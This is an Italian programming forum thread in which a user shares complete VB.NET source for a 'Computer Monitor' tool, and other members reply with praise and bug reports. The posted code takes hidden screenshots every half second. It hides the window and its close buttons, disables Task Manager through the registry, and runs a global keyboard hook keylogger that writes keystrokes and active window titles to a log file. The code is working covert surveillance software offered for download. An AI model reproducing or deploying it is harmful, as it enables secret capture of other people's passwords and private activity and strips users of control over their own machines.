+ Rispondi alla discussione
Visualizzazione risultati 1 fino 15 di 97
Stai leggendo la discussione [VB.NET]Computer Monitor nella sezione Visual Basic appartenente alla categoria Programmazione dello Sciax2 Forum, Community di giovani webmaster. Salve, già tempo fa avevo intenzione di scrivere questo software ma non ho mai avuto tempo...adesso che ne ho mi sono messo di buona volontà ...
- 01-07-12, 00:39



Iscritto dal 02/01/2010
Messaggi: 14,747
Località: Catania
Sesso: Uomo
Grazie ricevuti: 496
Menzionato in 323 Post
[VB.NET]Computer Monitor
Salve, già tempo fa avevo intenzione di scrivere questo software ma non ho mai avuto tempo...adesso che ne ho mi sono messo di buona volontà e l'ho scritto, anche abbastanza decentemente. Il programma in questione si occupa di "monitorare" il computer durante la vostra assenza. Mettiamo caso che vogliate uscire a giocare a pallone e lasciare il computer acceso mentre state scaricando un film o qualsiasi altra cosa e non volete che qualcuno ve lo tocchi, o meglio, volete vedere quello che è stato fatto in vostra assenza. A proposito di questo il software si occupa di "scattare una foto" dello schermo ( il classico "screenshot" ) e di salvare le immagini ( che vengono scattate ogni mezzo secondo ) nella cartella che voi desiderate. Un banalissimo programma, a mio parere. E difatti lo è, la realizzazione è abbastanza facile ( secondo me ) ma la "chicca", per modo di dire, di questo software è la seguente : è possibile visualizzare le immagini che sono state salvate attraverso un apposito form. Inoltre, per non "sminuire" il ruolo di questo software ho fatto in modo che anche se chi utilizza il computer si accorge del programma e vuole "stoppare il monitoraggio" attraverso l'apposito bottone dovrà immettere una password ( la quale deve essere chiaramente settata PRIMA dall'utente ) che viene salvata in una chiave di registro. Se la password inserita è corretta il "monitoraggio" si blocca, altrimenti continua ( continua anche nel momento in cui l'utente visualizza il form dove bisogna immettere la password, così il proprietario del computer saprà se hanno cercato di bloccare il programma ). Inoltre il programma non sarà visibile nella barra delle applicazioni ma solo nella system tray ( dove NON DOVREBBE essere visibile ). Per finire : nel caso in cui l'utente volesse stoppare il monitoraggio ma ha dimenticato la password ( magari giocando a pallone ha preso la palla di testa troppo forte o ha sbattuto da qualche parte ) c'è un form apposta che invia la password tramite mail.
Screen :
Scansione : *Registrati per vedere i link, basta cliccare qui
Download : *Registrati per vedere i link, basta cliccare qui
Sorgente:
Spoiler:ComputerMonitor.vb
frmMain.vbCodice PHP:Imports Microsoft.Win32
Public Class ComputerMonitor
Public Function CaptureScreenAndSaveTo(ByVal Path As String) As System.Drawing.[Bitmap]
Dim bitmap As Bitmap = New Bitmap(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
Dim graph As Graphics = Graphics.FromImage(bitmap)
Dim Size As Size = New Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
graph.CopyFromScreen(0, 0, 0, 0, Size, CopyPixelOperation.SourceCopy)
bitmap.Save(Path, Imaging.ImageFormat.Png)
Return bitmap
End Function
Public Function GetScreenResolution() As [String]
Return My.Computer.Screen.Bounds.Size.Width & "x" & My.Computer.Screen.Bounds.Size.Height
End Function
Public Function CalculateImageNumber(ByVal Folder As String) As Integer
Dim ImageNumber As Integer = 0
Dim ImagesDirectory() As String = System.IO.[Directory].GetFiles(Folder)
For Each SingleImage As String In ImagesDirectory
ImageNumber += 1
Next
Return ImageNumber
End Function
Private Declare Auto Function GetSystemMenu Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal bRevert As Int32) As IntPtr
Private Declare Auto Function GetMenuItemCount Lib "user32.dll" (ByVal hMenu As IntPtr) As Int32
Private Declare Auto Function DrawMenuBar Lib "user32.dll" (ByVal hWnd As IntPtr) As Int32
Private Declare Auto Function RemoveMenu Lib "user32.dll" (ByVal hMenu As IntPtr, ByVal nPosition As Int32, ByVal wFlags As Int32) As Int32
Private Const MF_BYPOSITION As Int32 = &H400
Private Const MF_REMOVE As Int32 = &H1000
Public Sub RemoveCloseButton(ByVal frmForm As Form)
Dim hMenu As IntPtr, n As Int32
hMenu = GetSystemMenu(frmForm.Handle, 0)
If Not hMenu.Equals(IntPtr.Zero) Then
n = GetMenuItemCount(hMenu)
If n > 0 Then
RemoveMenu(hMenu, n - 1, MF_BYPOSITION Or MF_REMOVE)
RemoveMenu(hMenu, n - 2, MF_BYPOSITION Or MF_REMOVE)
DrawMenuBar(frmForm.Handle)
End If
End If
End Sub
Public Function StringToMD5(ByVal Text As String) As String
Dim MD5 As System.Security.Cryptography.MD5
Dim Hash As New System.Text.StringBuilder
MD5 = System.Security.Cryptography.MD5.Create()
Dim Data() As Byte = MD5.ComputeHash(System.Text.Encoding.Default.GetBytes(Text))
For i As Integer = 0 To Data.Length - 1
Hash.Append(Data(i).ToString("x2"))
Next
Return Hash.ToString
End Function
End Class
Images.vbCodice PHP:Imports Microsoft.Win32
Public Class frmMain
Dim rKey, rKeyTaskManager As [RegistryKey]
Dim Number As Integer = 0
Private Sub btnChoose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnChoose.Click
rKey = Registry.CurrentUser.OpenSubKey("PasswordComputerMonitor", False)
If rKey Is Nothing Then
btnChoose.Enabled = False
btnStartMonitor.Enabled = True
txtPassword.Enabled = True
btnOk.Enabled = True
ShowImages.Enabled = True
Else
btnStartMonitor.Enabled = True
End If
If FolderBrowser.ShowDialog() = DialogResult.OK Then
txtPath.Text = FolderBrowser.SelectedPath
End If
End Sub
Private Sub frmMain_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
rKeyTaskManager = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
If rKeyTaskManager Is Nothing Then
rKeyTaskManager = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System")
rKeyTaskManager.SetValue("DisableTaskMgr", 1)
rKeyTaskManager.Close()
Else
rKeyTaskManager.SetValue("DisableTaskMgr", 1)
rKeyTaskManager.Close()
End If
If My.User.IsInRole("Administrators") Then
Dim Monitor As New [ComputerMonitor]
Me.ShowInTaskbar = False
Monitor.RemoveCloseButton(Me)
btnStartMonitor.Enabled = False
btnStopMonitor.Enabled = False
ShowImages.Enabled = False
rKey = Registry.CurrentUser.OpenSubKey("PasswordComputerMonitor", False)
If rKey Is Nothing Then
MessageBox.Show("You are running this software for the first time, please set the password to allow you to stop the monitoring when you want safely", "First run", MessageBoxButtons.OK, MessageBoxIcon.Information)
Else
If MessageBox.Show("The program has already been opened other times, do you remember your password ?", "Information", MessageBoxButtons.YesNo, MessageBoxIcon.Information) = DialogResult.Yes Then
txtPassword.Enabled = False
btnOk.Enabled = False
Else
txtPassword.Enabled = False
btnOk.Enabled = False
Me.Hide()
ResetPassword.Show()
End If
End If
Else
MessageBox.Show("For correct use of this program you must run it as administrator", "Run as Administrator", MessageBoxButtons.OK, MessageBoxIcon.Information)
Application.Exit()
End If
End Sub
Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitMenu.Click
Application.Exit()
End Sub
Private Sub btnOk_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnOk.Click
Dim Monitor As New [ComputerMonitor]
Try
If String.IsNullOrEmpty(txtPassword.Text) Then
MessageBox.Show("You must set the password!", "Password", MessageBoxButtons.OK, MessageBoxIcon.Error)
Else
Registry.CurrentUser.CreateSubKey("PasswordComputerMonitor")
rKey = Registry.CurrentUser.OpenSubKey("PasswordComputerMonitor", True)
rKey.SetValue("Password", Monitor.StringToMD5(txtPassword.Text), RegistryValueKind.String)
rKey.Close()
btnOk.Enabled = False
txtPassword.Enabled = False
btnStartMonitor.Enabled = True
End If
Catch
MessageBox.Show("An error has occurred during password setting, please check your permission to run this software", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
Private Sub btnStartMonitor_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStartMonitor.Click
rKey = Registry.CurrentUser.OpenSubKey("PasswordComputerMonitor", False)
If rKey Is Nothing Then
btnOk.Enabled = True
txtPassword.Enabled = True
txtPassword.Text = rKey.GetValue("Password", "0")
rKey.Close()
End If
If String.IsNullOrEmpty(txtPath.Text) Then
MessageBox.Show("No path setted!", "No path", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exit Sub
End If
If String.IsNullOrEmpty(txtPassword.Text) Then
MessageBox.Show("You must set the password!", "Password", MessageBoxButtons.OK, MessageBoxIcon.Error)
Else
tmrMonitor.Start()
btnStopMonitor.Enabled = True
btnStartMonitor.Enabled = False
If Me.WindowState = FormWindowState.Normal Then
Me.Visible = False
ShowInSystemTray.Icon = Me.Icon
ShowInSystemTray.Visible = True
End If
End If
End Sub
Private Sub tmrMonitor_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrMonitor.Tick
Dim Monitor As New [ComputerMonitor]
Monitor.CaptureScreenAndSaveTo(txtPath.Text & "\image" & Number & ".png")
Number += 1
End Sub
Private Sub btnStopMonitor_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStopMonitor.Click
VerifyPassword.Show()
End Sub
Private Sub ShowInSystemTray_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles ShowInSystemTray.MouseDoubleClick
Me.Visible = True
Me.WindowState = FormWindowState.Normal
End Sub
Private Sub MonitorKeyboard_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MonitorKeyboard.Click
KeyboardMonitor.Show()
End Sub
Private Sub frmMain_Resize(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Resize
If Me.WindowState = FormWindowState.Minimized Then
Me.Visible = False
ShowInSystemTray.Icon = Me.Icon
ShowInSystemTray.Visible = True
End If
End Sub
Private Sub Separetly_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Separately.Click
Images.Show()
End Sub
Private Sub Video_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Video.Click
Try
Process.Start(Application.StartupPath & "\ffmpeg.exe", "-f image2 -r 0.5 -i " & txtPath.Text & "\image%d.png -s hd1080 Video.wmv")
Catch
MessageBox.Show("An error has occurred during video creation, retry!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
VideoView.Show()
End Sub
Private Sub frmMain_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
e.Cancel = True
rKeyTaskManager = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
If rKeyTaskManager Is Nothing Then
rKeyTaskManager = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System")
rKeyTaskManager.SetValue("DisableTaskMgr", 0)
rKeyTaskManager.Close()
Else
rKeyTaskManager.SetValue("DisableTaskMgr", 0)
rKeyTaskManager.Close()
End If
End Sub
End Class
KeyBoardMonitor.vbCodice PHP:Public Class Images
Dim Monitor As New [ComputerMonitor]
Dim ArrayNumber As Integer = 0
Public ImagesPath As [String] = frmMain.txtPath.Text
Private Sub Resolution_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Resolution.Click
MessageBox.Show("The resolution of images is " & Monitor.GetScreenResolution(), "Resolution", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
Private Sub NumberOfImages_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NumberOfImages.Click
MessageBox.Show("The number of images : " & Monitor.CalculateImageNumber(ImagesPath), "Number", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
Private Sub btnForward_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnForward.Click
If Not btnBack.Enabled Then btnBack.Enabled = True
Dim ArrayOfImages(Monitor.CalculateImageNumber(ImagesPath) - 1) As [String]
Dim DirInfo As New System.IO.[DirectoryInfo](ImagesPath)
Dim ImagesInfo() As System.IO.[FileInfo] = DirInfo.GetFiles()
Dim i As Integer
For Each SingleImageInfo As System.IO.[FileInfo] In ImagesInfo
ArrayOfImages(i) = SingleImageInfo.FullName
i += 1
Next
Try
pbImages.Image = New System.Drawing.[Bitmap](ArrayOfImages(ArrayNumber))
Catch
MessageBox.Show("An error has occurred, please check if the directory contains some images", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
If ArrayNumber < ArrayOfImages.Length - 1 Then ArrayNumber += 1 Else btnForward.Enabled = False
End Sub
Private Sub btnBack_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnBack.Click
If Not btnForward.Enabled Then btnForward.Enabled = True
Dim ArrayOfImages(Monitor.CalculateImageNumber(ImagesPath) - 1) As [String]
Dim DirInfo As New System.IO.[DirectoryInfo](ImagesPath)
Dim ImagesInfo() As System.IO.[FileInfo] = DirInfo.GetFiles()
Dim i As Integer
For Each SingleImageInfo As System.IO.[FileInfo] In ImagesInfo
ArrayOfImages(i) = SingleImageInfo.FullName
i += 1
Next
Try
pbImages.Image = New System.Drawing.[Bitmap](ArrayOfImages(ArrayNumber))
Catch
MessageBox.Show("An error has occurred, please check if the directory contains some images", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
If ArrayNumber > 0 Then ArrayNumber -= 1 Else btnBack.Enabled = False
End Sub
End Class
ResetPassword.vbCodice PHP:Public Class KeyboardMonitor
Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105
Public Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Enum virtualKey
K_Return = &HD
K_Backspace = &H8
K_Space = &H20
K_Tab = &H9
K_Esc = &H1B
K_Control = &H11
K_LControl = &HA2
K_RControl = &HA3
K_Delete = &H2E
K_End = &H23
K_Home = &H24
K_Insert = &H2D
K_Shift = &H10
K_LShift = &HA0
K_RShift = &HA1
K_Pause = &H13
K_PrintScreen = 44
K_LWin = &H5B
K_RWin = &H5C
K_Alt = &H12
K_LAlt = &HA4
K_RAlt = &HA5
K_NumLock = &H90
K_CapsLock = &H14
K_Up = &H26
K_Down = &H28
K_Right = &H27
K_Left = &H25
K_F1 = &H70
K_F2 = &H71
K_F3 = &H72
K_F4 = &H73
K_F5 = &H74
K_F6 = &H75
K_F7 = &H76
K_F8 = &H77
K_F9 = &H78
K_F10 = &H79
K_F11 = &H7A
K_F12 = &H7B
K_F13 = &H7C
K_F14 = &H7D
K_F15 = &H7E
K_F16 = &H7F
K_F17 = &H80
K_F18 = &H81
K_F19 = &H82
K_F20 = &H83
K_F21 = &H84
K_F22 = &H85
K_F23 = &H86
K_F24 = &H87
K_Numpad0 = &H60
K_Numpad1 = &H61
K_Numpad2 = &H62
K_Numpad3 = &H63
K_Numpad4 = &H64
K_Numpad5 = &H65
K_Numpad6 = &H66
K_Numpad7 = &H67
K_Numpad8 = &H68
K_Numpad9 = &H69
K_Num_Add = &H6B
K_Num_Divide = &H6F
K_Num_Multiply = &H6A
K_Num_Subtract = &H6D
K_Num_Decimal = &H6E
K_0 = &H30
K_1 = &H31
K_2 = &H32
K_3 = &H33
K_4 = &H34
K_5 = &H35
K_6 = &H36
K_7 = &H37
K_8 = &H38
K_9 = &H39
K_A = &H41
K_B = &H42
K_C = &H43
K_D = &H44
K_E = &H45
K_F = &H46
K_G = &H47
K_H = &H48
K_I = &H49
K_J = &H4A
K_K = &H4B
K_L = &H4C
K_M = &H4D
K_N = &H4E
K_O = &H4F
K_P = &H50
K_Q = &H51
K_R = &H52
K_S = &H53
K_T = &H54
K_U = &H55
K_V = &H56
K_W = &H57
K_X = &H58
K_Y = &H59
K_Z = &H5A
K_Subtract = 189
K_Decimal = 190
End Enum
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As IntPtr
End Function
Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing
Private KeyLog As String
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Private Function Hooked()
Return KeyboardHandle <> 0
End Function
Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
If KeyboardHandle <> 0 Then
btnStopKeylogger.Enabled = True
btnStartKeylogger.Enabled = False
End If
End Sub
Public Sub UnhookKeyboard()
If (Hooked()) Then
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
btnStopKeylogger.Enabled = False
btnStartKeylogger.Enabled = True
KeyboardHandle = 0
End If
End If
End Sub
Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Dim CurrentTitle = GetActiveWindowTitle()
If CurrentTitle <> LastCheckedForegroundTitle Then
LastCheckedForegroundTitle = CurrentTitle
KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf
End If
Dim Key As String = ""
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
If Code >= 0 Then
If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then
Me.Visible = Not Me.Visible
Return 1
End If
End If
Select Case lParam.vkCode
Case virtualKey.K_0 To virtualKey.K_9
Key = ChrW(lParam.vkCode)
Case virtualKey.K_A To virtualKey.K_Z
Key = ChrW(lParam.vkCode + 32)
Case virtualKey.K_Space
Key = " "
Case virtualKey.K_RControl, virtualKey.K_LControl
Key = "[CONTROL]"
Case virtualKey.K_LAlt
Key = "[ALT]"
Case virtualKey.K_RAlt
Key = "[ALT GR]"
Case virtualKey.K_LShift, virtualKey.K_RShift
Key = "[SHIFT]"
Case virtualKey.K_Return
Key = vbCrLf
Case virtualKey.K_Tab
Key = vbTab
Case virtualKey.K_Delete
Key = "[DELETE]"
Case virtualKey.K_Esc
Key = "[ESC]"
Case virtualKey.K_CapsLock
If My.Computer.Keyboard.CapsLock Then
Key = "[/CAPS]"
Else
Key = "[CAPS]"
End If
Case virtualKey.K_F1 To virtualKey.K_F24
Key = "[F" & (lParam.vkCode - 111) & "]"
Case virtualKey.K_Right
Key = "[RIGHT ARROW]"
Case virtualKey.K_Down
Key = "[DOWN ARROW]"
Case virtualKey.K_Left
Key = "[LEFT ARROW]"
Case virtualKey.K_Up
Key = "[UP ARROW]"
Case virtualKey.K_Backspace
Key = "[BACKSPACE]"
Case virtualKey.K_Decimal, virtualKey.K_Num_Decimal
Key = "."
Case virtualKey.K_Subtract, virtualKey.K_Num_Subtract
Key = "-"
Case Else
Key = lParam.vkCode
End Select
ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
Select Case lParam.vkCode
Case virtualKey.K_RControl, virtualKey.K_LControl
Key = "[/CONTROL]"
Case virtualKey.K_LAlt
Key = "[/ALT]"
Case virtualKey.K_RAlt
Key = "[/ALT GR]"
Case virtualKey.K_LShift, virtualKey.K_RShift
Key = "[/SHIFT]"
End Select
End If
KeyLog &= Key
Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam)
End Function
Private Sub btnStartKeylogger_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStartKeylogger.Click
Me.Hide()
tmrKeylogger.Start()
HookKeyboard()
End Sub
Private Sub tmrKeylogger_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeylogger.Tick
Try
My.Computer.FileSystem.WriteAllText("C:\log.txt", KeyLog, True)
KeyLog = ""
tmrKeylogger.Start()
Catch ex As Exception
tmrKeylogger.Start()
End Try
End Sub
Private Sub btnStopKeylogger_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStopKeylogger.Click
tmrKeylogger.Stop()
UnhookKeyboard()
End Sub
Private Sub MonitorKeyboard_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
tmrKeylogger.Stop()
UnhookKeyboard()
End Sub
Private Sub KeyboardMonitor_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim Monitor As New [ComputerMonitor]
Monitor.RemoveCloseButton(Me)
btnStopKeylogger.Enabled = False
End Sub
Private Sub btnExit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnExit.Click
Me.Close()
End Sub
End Class
VideoView.vbCodice PHP:Imports Microsoft.Win32
Public Class ResetPassword
Private Sub ResetPassword_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim Monitor As New [ComputerMonitor]
Monitor.RemoveCloseButton(Me)
End Sub
Private Sub btnReset_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnReset.Click
Dim Monitor As New [ComputerMonitor]
Dim rKey As [RegistryKey]
If String.IsNullOrEmpty(txtNewPassword.Text) Then
MessageBox.Show("No password entered!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Else
rKey = Registry.CurrentUser.OpenSubKey("PasswordComputerMonitor", True)
If rKey Is Nothing Then
rKey = Registry.CurrentUser.CreateSubKey("PasswordComputerMonitor")
rKey.SetValue("Password", Monitor.StringToMD5(txtNewPassword.Text), RegistryValueKind.String)
rKey.Close()
MessageBox.Show("The new password has been setted!", "Password setted", MessageBoxButtons.OK, MessageBoxIcon.Information)
Else
rKey.SetValue("Password", Monitor.StringToMD5(txtNewPassword.Text), RegistryValueKind.String)
rKey.Close()
End If
End If
frmMain.Show()
frmMain.Focus()
Me.Close()
End Sub
End Class
Codice PHP:Public Class VideoView
Private Sub Play_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Play.Click
Try
VideoPlayer.URL = Application.StartupPath & "\Video.wmv"
Play.Enabled = False
Catch
MessageBox.Show("An error has occurred please check file video position, it must be in the same folder of executable!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
End Class
Alla prossima.
Informazioni aggiuntive :
- corretti tutti i bug segnalati
- implementato un hook sulla tastiera per rilevare la pressione dei tasti ( trovato su google )
- grafica sistemata
- possibilità di visualizzare la sequenza di immagini sotto forma di video ( finalmente ho trovato il modo, dopo aver perso circa 2 ore e 20 minuti a cerca di capire come funzione ffmpeg )
- ridotta la dimensione del form per visualizzare le immagini separatamente e per vedere il video
- aggiunga la richiesta del programma di essere avviato come amministratore per il corretto funzionamento
- grafica modificata ( grazie ad un mio amico )
- aggiunta la cryptazione della password in MD5 e tolto il form per il recupero della password, l'utente potrà resettarla quando vuole
- aggiunta la possibilità di resettare la password nel caso in cui l'utente non la ricordasse
- bloccata la pressione dei tasti ALT+F4
- disabilitato il Task Manager all'avvio del programma, verrà riabilitato quando il programma si chiuderà
IL PROGRAMMA E' UFFICIALMENTE FINITO! A menochè qualcuno non abbia altro da suggerire...
NB: Ovviamente dovete lasciare tutti i files che trovate nella cartella nello stesso percorso...Ultima modifica di System32 : 18-09-12 alle ore 22:00 - 01-07-12, 01:34

Iscritto dal 04/01/2012
Messaggi: 225
Sesso: Uomo
Grazie ricevuti: 4
Menzionato in 0 Post
Riferimento: [VB.NET]Computer Monitor - 01-07-12, 01:42



Iscritto dal 02/01/2010
Messaggi: 14,747
Località: Catania
Sesso: Uomo
Grazie ricevuti: 496
Menzionato in 323 Post
Riferimento: [VB.NET]Computer MonitorTi ringrazio. Secondo me non è ancora "ottimo" come software, nessun software lo è perché c'è sempre qualcosa che può essere migliorata. Chiedo quindi a voi suggerimenti su come migliorare questo programma.
Originalmente inviato da aahahhahahah *Registrati per vedere i link, basta cliccare qui @System32
Ottimo lavoro, complimenti!
Lo scaricherò volentieri, mi sembra ottimo come software, così se qualcuno utilizza il mio computer involontariamente, so chi è stato grazie al tuo programma. Metto Mi Piace. 
- 01-07-12, 07:59





Iscritto dal 21/02/2011
Messaggi: 439
Sesso: Uomo
Grazie ricevuti: 10
Menzionato in 2 Post
Riferimento: [VB.NET]Computer Monitor - 01-07-12, 09:43
Riferimento: [VB.NET]Computer Monitor
Premettendo che ancora devo finire di leggerlo
Questa parte
Creando un numero random c'è sempre una possibilità che escano due numeri uguali, non sarebbe meglio semplicemente incrementare una variabile,almeno per dare all'utente un punto di riferimento temporale.Dim RandomNumber As New [Random]
Dim Number As Integer = RandomNumber.Next(0, 99999)
Monitor.CaptureScreenAndSaveTo(txtPath.Text & "\image" & Number & ".png")
O ancora meglio norminare i file con giorno-ora-minuto-secondo. - 01-07-12, 10:09




Iscritto dal 26/03/2011
Messaggi: 285
Località: Roma
Sesso: Uomo
Grazie ricevuti: 1
Menzionato in 1 Post
- 01-07-12, 10:13

Iscritto dal 21/01/2011
Messaggi: 253
Località: NAPOLI
Sesso: Uomo
Grazie ricevuti: 2
Menzionato in 0 Post
- 01-07-12, 10:29




Iscritto dal 26/03/2011
Messaggi: 285
Località: Roma
Sesso: Uomo
Grazie ricevuti: 1
Menzionato in 1 Post
Riferimento: [VB.NET]Computer MonitorVorresti dire che ha copiato il codice da qualche parte come hai fatto tu per il tuo flooder? ahahah ma vai a coltivare i pomodori
Originalmente inviato da carmine341 *Registrati per vedere i link, basta cliccare qui Chissà perche è tutto in inglese nel form
- 01-07-12, 11:03
Riferimento: [VB.NET]Computer MonitorNon posso che quotare mattybravo, e comunque è buona norma scrivere programmi in inglese (o comunque multi lingua) per avere un rage di utenza più ampio, tu useresti mai un programma in tedesco o spagnolo ?
Originalmente inviato da carmine341 *Registrati per vedere i link, basta cliccare qui Chissà perche è tutto in inglese nel form
- 01-07-12, 11:35



Iscritto dal 02/01/2010
Messaggi: 14,747
Località: Catania
Sesso: Uomo
Grazie ricevuti: 496
Menzionato in 323 Post
Riferimento: [VB.NET]Computer MonitorHai ragionissima...il problema è che quando ho scritto quel Random era l'1 e il cervello un po' fonde a quell'ora, sai com'è...adesso ho sistemato.
Originalmente inviato da Garu *Registrati per vedere i link, basta cliccare qui Creando un numero random c'è sempre una possibilità che escano due numeri uguali, non sarebbe meglio semplicemente incrementare una variabile,almeno per dare all'utente un punto di riferimento temporale.
O ancora meglio norminare i file con giorno-ora-minuto-secondo.
NB: Mi sono accorto che ci sono da sistemare alcune cose, adesso provvedo.
Lo hai testato ?
Originalmente inviato da mattybravo *Registrati per vedere i link, basta cliccare qui Carino come programma ed utile. Bravo, mi piace
In modo che anche un inglese che visita il forum o che trova il download su Mediafire possa utilizzarlo senza problemi di comprensione. Ultimamente tutti i software che ho scritto sono in inglese.
Originalmente inviato da carmine341 *Registrati per vedere i link, basta cliccare qui Chissà perche è tutto in inglese nel form
- 01-07-12, 12:02




Iscritto dal 26/03/2011
Messaggi: 285
Località: Roma
Sesso: Uomo
Grazie ricevuti: 1
Menzionato in 1 Post
Riferimento: [VB.NET]Computer MonitorSi certo, mi è piaciuto
Originalmente inviato da System32 *Registrati per vedere i link, basta cliccare qui Lo hai testato ?
- 01-07-12, 12:06



Iscritto dal 02/01/2010
Messaggi: 14,747
Località: Catania
Sesso: Uomo
Grazie ricevuti: 496
Menzionato in 323 Post
Riferimento: [VB.NET]Computer MonitorBene mi fa piacere
Originalmente inviato da mattybravo *Registrati per vedere i link, basta cliccare qui Si certo, mi è piaciuto
Se magari mi diceste cosa potrei aggiungere per renderlo "completo" ( in base al lavoro che svolge ) ve ne sarei grato anche perché a me non viene niente in mente
' - 01-07-12, 12:13




Iscritto dal 26/03/2011
Messaggi: 285
Località: Roma
Sesso: Uomo
Grazie ricevuti: 1
Menzionato in 1 Post
Riferimento: [VB.NET]Computer MonitorIo ho un problema sul form per visualizzare le immagini, praticamente mi appare solo la freccia per andare indietro, e un'altra cosa che prima invece funzionava benissimo è l'inserimento della password nel form principale. Praticamente quando scelgo la cartella, dopo non mi è possibile scrivere la password.
Originalmente inviato da System32 *Registrati per vedere i link, basta cliccare qui Bene mi fa piacere
Se magari mi diceste cosa potrei aggiungere per renderlo "completo" ( in base al lavoro che svolge ) ve ne sarei grato anche perché a me non viene niente in mente
'
Una cosa che potresti aggiungere, magari viene carino, è una specie di SlodeShow per visualizzare le immagini. - 01-07-12, 12:15



Iscritto dal 02/01/2010
Messaggi: 14,747
Località: Catania
Sesso: Uomo
Grazie ricevuti: 496
Menzionato in 323 Post
Riferimento: [VB.NET]Computer MonitorScarica l'exe di adesso, ho sistemato quel piccolo bug. Comunque posta lo screen di come si vede il form per visualizzare le immagini.
Originalmente inviato da mattybravo *Registrati per vedere i link, basta cliccare qui Io ho un problema sul form per visualizzare le immagini, praticamente mi appare solo la freccia per andare indietro, e un'altra cosa che prima invece funzionava benissimo è l'inserimento della password nel form principale. Praticamente quando scelgo la cartella, dopo non mi è possibile scrivere la password.
